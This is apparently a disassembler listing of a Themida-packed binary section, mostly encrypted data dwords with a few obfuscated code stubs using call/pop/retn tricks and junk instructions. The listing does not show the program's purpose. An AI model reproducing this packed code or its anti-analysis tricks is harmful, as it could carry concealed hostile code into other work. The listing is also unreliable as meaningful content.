		dd 0E0AEC6FBh, 0BC47E026h, 9AFA9150h, 0E222BC39h, 19AC6329h
		dd 9A17h, 7AA72800h, 0E98D7C7Dh, 0C4413269h, 0B722E292h
		dd 1C72F624h, 487D92FDh, 0AED50A75h, 5FF88F97h,	808B47DFh
		dd 60008DEDh, 309C47DFh, 0FEFADAB1h, 192F22BCh,	40000000h
		dd 9F51C1BFh, 0E057F097h, 5F889347h, 8DB664FEh,	4CB3B443h
		dd 0A7D5688Ch, 8CFF1A72h, 0BCE31883h, 51868903h, 0A26D1D7Eh
		dd 0F6079A6Dh, 0A3BA7996h, 0DF5FEC9Bh, 0F1848F47h, 0C34C430Ch
		dd 40C1F88Eh, 0F7598D9Dh, 0DE2ABD25h, 6BA4E803h, 76A6271Eh
		dd 0A5E2EAEDh, 0D647DFF3h, 0F2F6A2CBh, 741A2BBEh, 72984E9Bh
		dd 0F6BFF41Bh, 65447996h, 0A8E500E1h, 0D811A67h, 8604CD02h
		dd 0A8C45489h, 0FC025239h, 0BD9722BCh, 0E9000000h, 98A01B72h
		dd 47DF5FEFh, 0D0A226FBh, 14ACEE08h, 3772E009h,	310C8384h
		dd 6FF007C6h, 91B11845h, 1473238Ch, 6747DF93h, 1BE4C95Ch
		dd 0A26BA06Fh, 23EC21EEh, 0AB70A56Ah, 0C7F5EAF7h, 0D4552EB3h
		dd 604DDF2h, 0A403F097h, 7C4E88B1h, 0CBC2D366h,	9DD23D4Eh
		dd 6655A1CAh, 0F8DCBCA1h, 0E6A7408Dh, 642BF429h, 0A7E676ABh
		dd 0E0739CEEh, 3E464D94h, 8B22BC7Fh, 7Ch, 0F41B72DDh, 26651E35h
		dd 5F4E39E9h, 642D47DFh, 136B988Bh, 0D536A173h,	4E2156B9h
		dd 830DD6BBh, 0AEB6CD8Ch, 47DF78D9h, 0DF769FAAh, 0E9FE177Bh
		dd 413E23B6h, 2AABE4FDh, 603D8FB9h, 0B0C154C1h,	2FE532DDh
		dd 0D1259314h, 3E8676D1h, 1DF29AABh, 8CBED0E8h,	4FDE47DFh
		dd 0D7FBB738h, 0BC73F8FBh, 0DF797B0Ch, 0D4FD0847h, 78BA433Ch
		dd 5DA93C7Bh, 0DCB50D84h, 16222BCh, 0B4000000h,	0F5F99314h
		dd 21D693FDh, 20D7D8Eh,	9EEDA6CDh, 0C1CDDE71h, 3E50194Eh
		dd 0BBD39CD1h, 0DE221F54h, 0B29EDE03h, 39D6B42Fh, 0A9868FECh
		dd 4C32EE1h, 0F20002FCh, 67242549h, 3F083DA8h, 8001C04Fh
		dd 0C67E9578h, 5E5BEE45h, 3A50C9C5h, 4C0E7981h,	626D4DF2h
		dd 30578CF7h, 4B761119h, 0FA054DF2h, 4B860767h,	0BC004DF2h
		dd 8DC4CA25h, 446B298Bh, 0B80570E9h, 6BA06F1Fh,	6423ECA2h
		dd 992CE3ABh, 9051D5B4h, 17D63955h, 65252C5Eh, 246B91CAh
		dd 0D6A9DE49h, 71514643h, 0A624AE35h, 162h, 0C0A5AEF8h
		dd 0CBD3EA01h, 47DF5FBCh, 8304B4BFh, 47DF5Fh, 4D828DFFh
		dd 0D7C0F7Ah, 70CA75F6h, 0A115552Ch, 618ABD2Ah,	9A59275Bh
		dd 0E02DF592h, 0E87B8647h, 0F2459A88h, 255A6549h, 90DD325Ch
		dd 437897F7h, 0C6FB147Ah, 497E91FDh, 0A1020D80h, 45ED22EDh
		dd 0DC538859h, 7F008958h, 0B7861370h, 596AFDC3h, 73041C35h
		dd 59805BF2h, 0D4ACA1EEh, 124AED9h, 57h, 0C9A4AE53h, 24E34EC1h
		dd 0DF5F4B1Ch, 9DD051C7h, 0C84F5985h, 7F8AD265h, 0CE55324Ah
		dd 315DC7DEh, 0ADE0A9DEh, 0CA4E2D62h, 0B165C217h, 0FAE7F130h
		dd 48C6BA3Bh, 6AEAF630h, 0DEF12562h, 0E04B56C7h, 91D6DE4Dh
		dd 0B247DEF0h, 0CF4F27E9h, 0CE39067Bh, 94EA81h,	14540000h
		dd 0A9DEE6FDh, 0DA47DF5Fh, 5F681FCFh, 101B47DFh, 0B29FA87Dh
		dd 6723DCF3h, 0B79B7FA8h, 6C27485Bh, 4ED579D9h,	253049F2h
		dd 546727F0h, 0F2443B4Ch, 0D23D484Dh, 6DA2EC85h, 426C2038h
		dd 1E624DF2h, 0A96628C3h, 0FF6FF5Ch, 7B8B4850h,	0D051500Ch
		dd 0FFD22624h, 0DA22B569h, 5C739ACFh, 0E7703354h, 0B2455047h
		dd 0ED22EDA1h, 99885945h, 61E2A190h, 0BFC72B99h, 47E831C8h
		dd 7087B0BBh, 42B14404h, 241993Ah, 0F62E34Ah, 835DE761h
		dd 717CC457h, 0FD146E24h, 775C7F7Ch, 0C7776B3Dh, 47DF70C0h
		dd 5025B8C3h, 939B5A47h, 49F9A840h, 68E9A8B3h, 65A64150h
		dd 0D7BC4F5Fh, 428F800Eh, 1D98CA4Bh, 2B78895Eh,	77CD7F02h
		dd 56E953CBh, 91C64945h, 34DBB16Ah, 639F41A1h, 4149055Fh
		dd 0C0D099CEh, 70841A4Fh, 2A3E6C71h, 0AD622CB7h, 48C7C760h
		dd 0CA454A13h, 0E001ED95h, 0FF8890A7h, 0EBA67D47h, 0CE507AA6h
		dd 854EE623h, 0CC281ECEh, 1C7DE862h, 986BA06Fh,	759AF405h
		dd 10FF8F28h, 1AF59851h, 9A7F12E5h, 3D3h, 34223D00h, 0BBF01F72h
		dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
		dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 40D368D4h, 3C890000h
		dd 729A6824h, 14890000h, 0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 68243489h, 4072h, 68240C89h, 586A1FCAh
		dd 13C98159h, 810C1559h, 750D29C9h, 81D9F740h, 6666BFE9h
		dd 59CA899Dh, 8904EC83h, 4812424h, 424h, 50525E00h, 1239DFB8h
		dd 2444317Fh, 468F5804h, 8768108h, 7F1239DFh, 5E2434FFh
		dd 8B04C483h, 89572414h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 41BBE95Ch, 8590FFF8h, 1C4BB705h, 1F288C78h, 0FF9FC8CEh
		dd 1A3EB3B8h, 0FFC50306h, 64485DE0h, 0C282B221h, 0B6F7F80Ch
		dd 1FA5847Ah, 0C36A2F76h, 4692F45Ah, 0C95CC933h, 9A4FBB71h
		dd 99FF7527h, 0E1A0D87Ah, 5333F21Eh, 2D02CD6Fh,	0D0BB3B06h
		dd 66929851h, 0E5313007h, 0BED51C16h, 63222F6Ah, 1ABADC5Ch
		dd 6D7B364Eh, 0A54A513Bh, 369B1758h, 292C3230h,	0F830C13h
		dd 7F8D8D55h, 0F061A40h, 178Dh,	0BE800h, 0E07E0000h, 5CC606C6h
		dd 88612B0Dh, 0B1B58921h, 5F061217h, 2DCD8D89h,	14E90612h
		db 0
byte_5FFABD	db 2 dup(0), 0DEh	; CODE XREF: Themida_:005FD6D4j
		dd 8ADAA4B1h, 2A7E60EFh, 8CE5F80h, 8332ECD5h, 0C73EAC12h
		dd 1231BD85h, 5C6C06h, 65BD2B00h, 3061229h, 12173585h
		dd 1185C706h, 61200h, 66000000h, 0B5FFF98Bh, 6120835h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 94C35343h
		dd 0A780A2C4h, 699D8922h, 8B061216h, 122719BDh,	8195FF06h
		dd 6A061227h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 3B96C351h, 131DBD29h, 6A0612h
		dd 29D195FFh, 0C08B0612h, 12124DEBh, 0B3DBF365h, 0ACB00618h
		dd 0E6D980D4h, 0E78E0C88h, 7A322D39h, 71B1352Dh, 0FEE127ACh
		dd 9256EB8Fh, 6AC96550h, 99516088h, 0E8AB704Ch,	2634B0FEh
		dd 8AFD36A0h, 0E5DCD468h, 49FB9E8Eh, 168276C7h,	832FA93Ch
		dd 648F1139h, 8D4047D1h, 1A41B58Dh, 24F68006h, 2DCD8D89h
		dd 85C70612h, 61231BDh,	7344h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 8EC35545h, 0F5B531BAh, 81061213h
		dd 0A3F4BFCFh, 1185C717h, 61200h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B29C351h, 122DB585h, 0C5B5FF06h, 6A061231h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 501CC353h, 43EAAD8Fh, 0F4302032h, 0FE960h, 3B650000h
		dd 0F2D74BB0h, 0EAB1EC02h, 0D88C085Fh, 199D8903h, 61061208h
		dd 278195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 855732C3h, 0DBB8B0B2h, 95FF006Ah
		dd 61229D1h, 3BEBC08Bh,	0B6722024h, 0C95D75AEh,	0D16C54F2h
		dd 0A967A53Fh, 59774B10h, 0B9CDF8E1h, 0A768F324h, 86042BDAh
		dd 88F5B82Ah, 1E72D8F5h, 466B0561h, 0AAF878F8h,	22369F09h
		dd 6A323DFBh, 0E9645503h, 0Ah, 6EC08550h, 0
		dd 0FDE90000h, 69000004h, 19AE728h, 9E37848Bh, 3DD623ECh
		dd 0D770BD52h, 1C0C59B6h, 0D7385599h, 759AF18Ah, 0E018F28h
		dd 0A96628C1h, 2B33825Ch, 4DF9A15Ch, 146C421Fh,	838B305Bh
		dd 47DF6004h, 0CC016C77h, 395566F9h, 2D62ADE0h,	0B4E92664h
		dd 0D60B76E1h, 428F800Dh, 0F52AE5A9h, 78AD622Ch, 533CDDAFh
		dd 0B7823FFEh, 64CFC1E5h, 92FBC4F9h, 0E7F487Dh,	598E810Bh
		dd 3EE61B86h, 1C4A8F52h, 800ED908h, 0E7A9428Fh,	4E42DB28h
		dd 0C822656Dh, 566147DFh, 0B7699F5h, 12FD934Ch,	0BAD19A7Fh
		dd 0AADF305Fh, 8F376CD7h, 4CC3C780h, 9FE8F017h,	0DC47DFC7h
		dd 87D366D1h, 0E018F5Ah, 1049CAC1h, 0B6A1E682h,	679C731Dh
		dd 85962994h, 0B9D10609h, 47DFBCD5h, 18859C5h, 22BCA381h
		dd 6A56h, 1C72A800h, 1697BEF3h,	37CD5029h, 8AEA7D31h, 47E03703h
		dd 0D1B82995h, 22BC29F1h, 126h,	1A727800h, 16818EFFh, 9B7418E1h
		dd 0CABDC5DCh, 0B947DF5Fh, 6D361BAEh, 0AD2EED22h, 7F0BD1B3h
		dd 5F885B90h, 0EB7E2A36h, 855C7006h, 0DE3B530Ch, 0C1F661AEh
		dd 424A5BEEh, 0A7E780CDh, 9B28A968h, 15D15BCBh,	5709FEDh
		dd 72BF7572h, 7C35F41Bh, 0F5C8FD12h, 0D5567D62h, 7C91D765h
		dd 94A53848h, 3E217F8h,	28E7A35Ch, 418D20F3h, 0C74845A0h
		dd 62ADE17Ah, 0E926642Dh, 0D90824B4h, 0BC13A2B2h, 0BAD18A22h
		dd 0B00EB97h, 43AE1306h, 56AEB0h, 72000000h, 828DFE1Bh
		dd 7119E217h, 0BFD3699Eh, 49C6C722h, 0EF2A63FCh, 6A3D729Dh
		dd 8E01CAFFh, 0A0BC4C81h, 0FD8F4841h, 0C2127F12h, 0EA22BCFCh
		dd 69BCCBD3h, 0B4BF47DFh, 5A1F21h, 72710000h, 0F6BFF41Bh
		dd 4340759Ah, 8607E2FFh, 8249CA89h, 75C07473h, 0AE6461F4h
		dd 92F5FD14h, 0F147DF5Fh, 4A4253E6h, 424D06C5h,	32C598CDh
		dd 5F59354Dh, 2C6347DFh, 0AAE5AEE3h, 0B76B3065h, 0A332B52Ah
		dd 466FA0EAh, 7DD8951Eh, 58A437B1h, 0A6820289h,	15722BCh
		dd 0A9000000h, 0F3F9314h, 9BE619B7h, 7C93F708h,	0FF107E47h
		dd 0AB3622CAh, 78C54A40h, 6423121Bh, 0F20FA25Ch, 457A8549h
		dd 0B0FD127Ch, 63987717h, 0F201424Bh, 0E100444Dh, 3A878806h
		dd 0ED22EDA1h, 70A56A24h, 0F62BE4A7h, 7BB05F2Dh, 0CB10D1E5h
		dd 0A2CAD54h, 7F1DEC30h, 29B80497h, 0F23FD0BEh,	0C54A42FBh
		dd 0DBCDC532h, 3D1A24AEh, 2B000001h, 0BCF11E72h, 90FA8D95h
		dd 7E894DF1h, 0E048EA13h, 0ADB907AEh, 0A5AEEC1Ah, 29F901C0h
		dd 1449F177h, 96ADD409h, 0F178F98Eh, 7AC18A4Dh,	0B9EC7C85h
		dd 0B9CA5DC8h, 54ED3AD5h, 0E79813Ah, 6D4DF1C0h,	9BC2F762h
		dd 0C00B7C84h, 0AF784DF1h, 301274E4h, 861984ACh, 0C1F61975h
		dd 68835EE2h, 0A79CE926h, 24AEAC2Fh, 3DFCh, 0A4AE4E00h
		dd 3A56C3C9h, 62CDA0D5h, 373038F7h, 44C7DF5Fh, 0CCC17A39h
		dd 0B3CBB043h, 0C7DF5ED4h, 74B32EE2h, 0AFC6856Ah, 5AEF12Eh
		dd 0CB5E7A56h, 0DE80FC6Bh, 0A7F4FF47h, 9710h, 0A5AE7A00h
		dd 55F901C0h, 0B049F181h, 4F3EDBAFh, 4DB88BC0h,	40128718h
		dd 502064E4h, 2BB7AE5h,	794C818Eh, 21DA01E6h, 4545A669h
		dd 682637CAh, 136D9B1h,	4B04C32Eh, 0C598CD42h, 0F29C3532h
		dd 8C1E81Dh, 82558A85h,	71A66921h, 0E1AB0B9Eh, 0D74DF225h
		dd 0FB934E93h, 0DAD45514h, 89C21C0Dh, 5625FF2h,	4E5615FCh
		dd 500BCA47h, 0D03F4C05h, 0B5EAF53Dh, 386DA2ECh, 0EE3DA490h
		dd 394100E5h, 4A020A5Ch, 0CDD5EC4Bh, 4DF18FBAh,	790EBEC9h
		dd 0A4DF18Fh, 914794FFh, 1C0A5AEh, 0F9999CF9h, 4DE36449h
		dd 987CA9C6h, 525DA538h, 0D53A541Dh, 709FEF88h,	5881233Bh
		dd 8A9EF552h, 0D028C57h, 0A86727C0h, 2D354C73h,	0B6A05C5Ah
		dd 7A8B1E29h, 5EF53C15h, 3BBE01h, 0A9147F90h, 1E0CC74h
		dd 52BDCF88h, 0A6B74A1Dh, 0E3DA27E8h, 7AAF602Ah, 8B0314A7h
		dd 3884F84h, 0F2000000h, 1F723422h, 9CF2BBF0h, 1B753E73h
		dd 95F6BFF4h, 117C457Ah, 8D00C9FEh, 0B844D82h, 8406CF04h
		dd 0FF8D568Bh, 51D4DB10h, 0C181E189h, 4, 8704E983h, 248B240Ch
		dd 53076824h, 4890000h,	65746824h, 14890000h, 420BB824h
		dd 0E0D16E4Bh, 2F40B425h, 59BF5719h, 81307B18h,	77043CF7h
		dd 0F7474F11h, 81D7F7DFh, 90C9FCEFh, 5FF829D6h,	0C56DD80Dh
		dd 0ABF32D3Eh, 6C68F9B5h, 8900003Ah, 4832424h, 515A0424h
		dd 8B9h, 53D10100h, 0BBh, 89CB0100h, 8B595B03h,	89532414h
		dd 4C381E3h, 83000000h,	1C8704C3h, 48B5C24h, 0E6895624h
		dd 4C681h, 0C6830000h, 24348704h, 3A03E95Ch, 6E08FFF8h
		dd 5ABAD0F8h, 69892A11h, 1A465DB8h, 0FFC50306h,	7FCB3FE0h
		dd 12FB6D72h, 40A1C169h, 8D8B570Eh, 7B944A50h, 3514C323h
		dd 0ACA1035Bh, 235E3C03h, 0CBE98450h, 19B6F362h, 0A1FAC876h
		dd 0BD1B8A34h, 41E27573h, 0F8691137h, 39FF334Ch, 0A16A9808h
		dd 76B9B82Eh, 0D0127340h, 85CEE76h, 0A0A4E750h,	857D94Dh
		dd 0D4476329h, 69F57773h, 0CE5F6152h, 0E4A01C38h, 0DAA3AE3Eh
		dd 588D8D6Ch, 6A061A48h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0A8FCC355h,	153DBD8Bh
		dd 95890612h, 612000Dh,	2DCD8D89h, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0D357D0C3h
		dd 85B50100h, 0C706120Ch, 1231BD85h, 603006h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 6820FB8h, 89000000h,	1221FD95h, 1185C706h, 61200h, 66000000h
		dd 0B79DCE81h, 841B5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 81BBC5C3h, 895E14EDh
		dd 1231FD9Dh, 8195FF06h, 0F061227h, 682h, 45B58900h, 6A061203h
		dd 0D195FF00h, 8B061229h, 0CB1AEBC0h, 8D8008B3h, 833B8EB8h
		dd 0A74A23A5h, 4D3C1A6Ch, 0DA940724h, 2F099A1Ah, 0FE8E3h
		dd 68D90000h, 401DA51Dh, 6F0DF8A1h, 68ADB7Ch, 10E892h
		dd 2CA90000h, 2D593BECh, 1ADF0E52h, 0C7587ADh, 0CE810D65h
		dd 71E91C3Eh, 8D29595Ah, 6122185h, 6DF2C181h, 0BA660000h
		dd 0DB2B540Ah, 2625858Bh, 34FF0612h, 35B58B0Bh,	5F061234h
		dd 0D2C781F9h, 8959C1E0h, 12264D8Dh, 72F78106h,	807CE61Dh
		dd 0EF819EC0h, 22224F00h, 12E5958Bh, 8B570612h,	1214FD85h
		dd 19048F06h, 81F08B66h, 0DEA1C4C6h, 4EB8325h, 81F38B66h
		dd 0FF92A4FBh, 0AF850FFFh, 66FFFFFFh, 0A1B4EA81h, 1CE9h
		dd 0B1DED300h, 26h, 5 dup(0)
		dd 535E900h, 5B360000h,	0BECE67B4h, 1F6B0451h, 850AA3F0h
		dd 0E9A43D8Ah, 0CCE9D926h, 57A46B22h, 0F542CDBEh, 8EDB345Ch
		dd 297699F5h, 8FF8004Fh, 0EC4DF9A8h, 1C72390Fh,	98F5BEF3h
		dd 0FD912A77h, 7E6A4054h, 0FACD020Dh, 4CDD68D1h, 0ABE3ACE1h
		dd 26662F64h, 0A1EB4E9h, 95F5AED7h, 0B8D6E77Ah,	1F710A57h
		dd 0F3ACA3F0h, 6B3E739Ch, 46C9C7D8h, 51BECE87h,	0A7E8491Ch
		dd 0CD603368h, 0E56C1FE8h, 7A1527A9h, 52DE6C95h, 8E366BD6h
		dd 0ECA43FA2h, 513DD623h, 3D51C8C8h, 5FCA9DD2h,	0E629612Ah
		dd 9851107Bh, 0D4BB1CF3h, 0ABC3A83Bh, 47E058E3h, 255AB5D9h
		dd 0A8DD325Ch, 479C45C9h, 8958C4h, 58A6E1E9h, 0CAD547E0h
		dd 7CACA37h, 9BB222BCh,	0E064F493h, 0E97C8747h,	83E7h
		dd 1C723900h, 0E7A6BEF3h, 0B147DF5Fh, 0DCF39C45h, 5FCABDC5h
		dd 0AEB947DFh, 0DF5F89FEh, 5CEFFA47h, 0BCFE97EFh, 711ED722h
		dd 0C41332E0h, 0B621AB93h, 12123h, 14730000h, 0FED0F893h
		dd 0C457955Dh, 136D9B3h, 0FCBB5438h, 0B92D3D7Bh, 5EF1E2C3h
		dd 0B5D15279h, 58E341DCh, 7D0A12D1h, 0FE47E05Eh, 404F60F3h
		dd 0F0049ACFh, 2596F6F1h, 0E05E6A1Dh, 0A30E1947h, 0C2C5CDE4h
		dd 0C147E05Eh, 8D2623B6h, 0BC10E01h, 0BFF41B72h, 447996F6h
		dd 0CB000F7Bh, 26878802h, 0C870A56Ah, 69E005DCh, 9CF1FCE5h
		dd 91FBB473h, 0E376497Eh, 0CE414DE6h, 97BAD099h, 25AD5949h
		dd 0EE668FEEh, 0F6EC08DDh, 98285DC8h, 262E657Ch, 622BC61h
		dd 39CC434Dh, 5637h, 1B728900h,	94F6BFF4h, 9CB0467Bh, 2CE3AA45h
		dd 0C84746DFh, 4AC5CA93h, 0D13E4C15h, 58B7D39Ch, 0FFE22623h
		dd 4B96B2DAh, 0BCFC3C44h, 2D631C22h, 664D4FE2h,	9F000000h
		dd 0FF361B72h, 0DFC9F79Dh, 824B80EBh, 0E2A5AD0Eh, 0A147DFE5h
		dd 0F9F62B96h, 0CCC12CB5h, 1440F643h, 7E86355Bh, 47DF6009h
		dd 71046F7Ah, 0AEE32C60h, 0DF5FF896h, 46C9C647h, 0A5E2EA11h
		dd 0D647DF5Fh, 0EC236ACBh, 8D54D8B7h, 8D46D558h, 4D70C03h
		dd 0D3BC2571h, 679C731Ah, 3C940194h, 0E922BCFEh, 1, 0F718723Bh
		dd 7A95F9C2h, 10E7C45h,	858A03CCh, 0AD78B50h, 38A995D5h
		dd 19F6964Fh, 0FA157586h, 979FB6ADh, 47DF5FF0h,	66439002h
		dd 1CB48E00h, 31DEB011h, 0D1C0C99Eh, 0DCE4FB12h, 47DF93ABh
		dd 0DA3ACDD8h, 49F1B724h, 0CABDC5DCh, 0B94DF178h, 0C8D31BAEh
		dd 55C4CA93h, 0CC9FD43Bh, 9D21A261h, 1B2E5947h,	5DF6F386h
		dd 91A9DE31h, 4DF220FCh, 4C974A8Eh, 8980CD42h, 211D6A72h
		dd 535E4DF2h, 30DFAFC0h, 2C53D4FBh, 7C3DCAC1h, 0BBD3E477h
		dd 0AEE32C5Eh, 9AB170DBh, 0F181F592h, 0E87B864Dh, 0BD523A03h
		dd 42CDBF88h, 4D94480Dh, 814B3C44h, 2D384DF1h, 1AC74BC2h
		dd 350BFCFh, 0DD3C530Ch, 0BFF45FB0h, 94EC59ECh,	4124AEDCh
		dd 107h, 0C92DD152h, 0D433EAC9h, 29E853BCh, 0F2396621h
		dd 770A154Dh, 0C0A5AE49h, 7729F901h, 91449F1h, 8C830BD4h
		dd 27E8A63Fh, 0AA6529F2h, 0BBCCD4EBh, 0C84DF178h, 66452ABDh
		dd 0E7A0A8BFh, 944DF178h, 0C5C2CA89h, 0B64DF178h, 15CC18ABh
		dd 0E5BB4DAh, 0AEE7B919h, 31EA0124h, 0AA7DB25Dh, 0F1848DFAh
		dd 50E3EE4Dh, 424Eh, 0A4AEA000h, 0D2E900BFh, 0DF5FBDCAh
		dd 20B3BE47h, 0DF5FA7C0h, 94C9D4C7h, 0DF5F0B7Ch, 0E2FFB3C7h
		dd 8D4C3943h, 5F196E76h, 0D6D9C7DFh, 75C7204Eh,	0B74A55EDh
		dd 7B274048h, 495447DEh, 5D65FCh, 0AECF0000h, 0F901C0A5h
		dd 49F18155h, 0A770A5B0h, 0E86928E7h, 1344A4B2h, 110EA194h
		dd 0C4F91678h, 0F198E0ACh, 4F92D64Dh, 0D6AEB536h, 0E1AED348h
		dd 0BE513D4Eh, 260B1471h, 0FC515F67h, 313C500Bh, 0B45B33FCh
		dd 0F6EBD77Fh, 78371E27h, 1C34070h, 0A968734Ah,	14759AF0h
		dd 8C5F947Bh, 0AE46FCF9h, 0F901C0A5h, 49F9A6B7h, 0E1AADFEAh
		dd 0EAA362ADh, 0DDDA6DA2h, 0A7074A44h, 62814F53h, 7B93C833h
		dd 2D82F94Fh, 3368A7E5h, 0BAEF206Ah, 558A57DBh,	0B5CE1327h
		dd 497E91FCh, 0E434D76h, 0C519EFB3h, 0A26D2132h, 3DD2BC55h
		dd 0C2CAE108h, 6E911FC5h, 3AD5B5B6h, 642B3CCFh,	1FF09E57h
		dd 206717EAh, 636E9120h, 10B8ED58h, 5C32BD24h, 0C1CD66B3h
		dd 0B6D68F4Eh, 7DE82763h, 6E192148h, 0D6E911Fh,	1F049702h
		dd 358h, 3422C200h, 0BBF01F72h,	3E739CF2h, 0BFF41B75h
		dd 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h
		dd 0DB10FF8Dh, 0E68956D4h, 4B951h, 0CE010000h, 4EE8359h
		dd 5C243487h, 69E268h, 243C8900h, 3CDC68h, 24148900h, 493CBB53h
		dd 0DF89061Ah, 83241C8Bh, 8B5404C4h, 0C4832414h, 0FD895504h
		dd 8B086A89h, 0C481242Ch, 4, 5A2434FFh,	4C481h,	34FF0000h
		dd 0C4815F24h, 4, 0F83298E9h, 0BF78C5FFh, 0AB2DE850h, 0B8902D97h
		dd 61A4E07h, 0E0FFC503h, 4ECA3378h, 5AB0A706h, 19D89B10h
		dd 7C63076Eh, 73A39350h, 4F0488A1h, 7DE81468h, 10EBh, 3	dup(0)
		dd 0C08B0000h, 6810F52h, 8B000000h, 12183995h, 0BD835A06h
		dd 6122F01h, 83097500h,	122149BDh, 19740006h, 0C08B5350h
		dd 42DB8h, 35858900h, 8D06120Bh, 14AD099Dh, 5BD3FF06h
		dd 49BD8358h, 61221h, 53501774h, 42DB8h, 35858900h, 8D06120Bh
		dd 14A9F89Dh, 5BD3FF06h, 65852958h, 6A061233h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 4C33C355h, 122ECA72h, 840FC08Bh, 0
		dd 1F698D8Bh, 85890612h, 61220C1h, 0F00F983h, 0BC84h, 14E800h
		dd 4A7B0000h, 0CF87878Fh, 0C06E8093h, 0EDFE4F5Ah, 5097F83Bh
		dd 81666F70h, 5AAD2ECAh, 2C3D8B64h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0E94FC356h, 3F9A28E1h, 800F59F4h, 6,	8318D29h, 0F0BE0612h
		dd 0B7CEF33h, 5A840FFFh, 0E8000000h, 0Bh, 96EFB85h, 4FC1B5BBh
		dd 0E9F299FFh, 9, 908EFF8Eh, 5F710269h,	3F8B5E89h, 0C830Fh
		dd 7E90000h, 18000000h,	0CC91623Fh, 32FCA03Ah, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 89AAF3DFh, 122FA5BDh, 41493506h, 0D78B5350h,	4BC3DBBAh
		dd 0C185C678h, 47061215h, 0DF8B5660h, 4185295Eh, 61061212h
		dd 64D9F068h, 0F52505Eh, 0D5BE6631h, 81585A42h,	0AE3C2404h
		dd 6A7E71h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 880F29C3h, 0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+6123101h]
		push	0
		push	ecx
		call	sub_600B45
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_600B45	proc near		; CODE XREF: Themida_:00600B3Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_600B45	endp

; ---------------------------------------------------------------------------
		leave
		mov	bh, 0DFh
		mov	[ebp+6121A4Dh],	edi
		mov	[ebp+6122A95h],	ecx
		lea	eax, [ebp+615827Ah]
		mov	[ebp+6121D71h],	ebx
		call	eax
		mov	edx, [ebp+6121A41h]
		mov	[ebp+6122715h],	eax
		mov	esi, edi
		mov	byte ptr [ebp+61215C1h], 53h
		movsx	esi, si
		push	688E0C97h
		mov	dx, ax
		add	dword ptr [esp], 200A5E65h
		push	0
		push	esi
		call	sub_600BA4
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_600BA4	proc near		; CODE XREF: Themida_:00600B9Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_600BA4	endp

; ---------------------------------------------------------------------------
		dd 4840FE7h, 66000000h,	0FFAD29BAh, 123101B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0F3FF290Fh, 601325D5h, 0B70FFBB6h, 7A858DD1h, 0F061582h
		dd 88h,	0FD0FF00h, 858DF3BFh, 61538FFh,	0C07FD281h, 0EDBA50AFh
		dd 897DE7E3h, 1227F585h, 0CE95306h, 0A5000000h,	32D9246Fh
		dd 17C12D8Eh, 5E4AA1A2h, 0FF6A206Ah, 27F595FFh,	49350612h
		dd 0C7535041h, 12285585h, 106h,	0D185C700h, 61210h, 89000000h
		dd 121EF595h, 8E0F06h, 8B000000h, 12139985h, 0A36406h
		dd 8B000000h, 12160595h, 0EDBD8306h, 6122Eh, 2B840Fh, 13E80000h
		dd 5B000000h, 0DF58D10Fh, 163113E4h, 5437DFE1h,	59DEF793h
		dd 0B70F50AAh, 858B5EF6h, 6122875h, 270D9533h, 0E08B0612h
		dd 1DBD83F8h, 61230h, 431850Fh,	8D890000h, 61221F9h, 15C185C6h
		dd 6A560612h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 5931C356h, 0D0B4410Bh,	0E9E1D366h
		dd 5, 24DF98E0h, 68C0FC9h, 8B000000h, 1211A995h, 6F036806h
		dd 0BE66A440h, 481FE77h, 84C1DC24h, 8E805h, 0D0320000h
		dd 44DA8634h, 0ADB632EEh, 585895Ah, 0FF061208h,	123101B5h
		dd 81F18B06h, 0E0E40EDAh, 7A858D19h, 6A061582h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 7D39C352h, 0DE8h, 6D18A000h,	28A29CB4h, 8F034445h, 95895926h
		dd 61228C5h, 50D0FF5Eh,	16850Fh, 0AE80000h, 8D000000h
		dd 92DDFD9Bh, 0CFBD9CA5h, 890F49h, 5A000000h, 89240489h
		dd 120C319Dh, 3D8D8D06h, 81061229h, 9A6D92E2h, 0E8509159h
		dd 9, 0E737E83Ah, 0E34B3C98h, 9CBA669Fh, 29915A74h, 121CE985h
		dd 68046A06h, 9FA36789h, 0C0D7BE66h, 77240481h,	9605CA8h
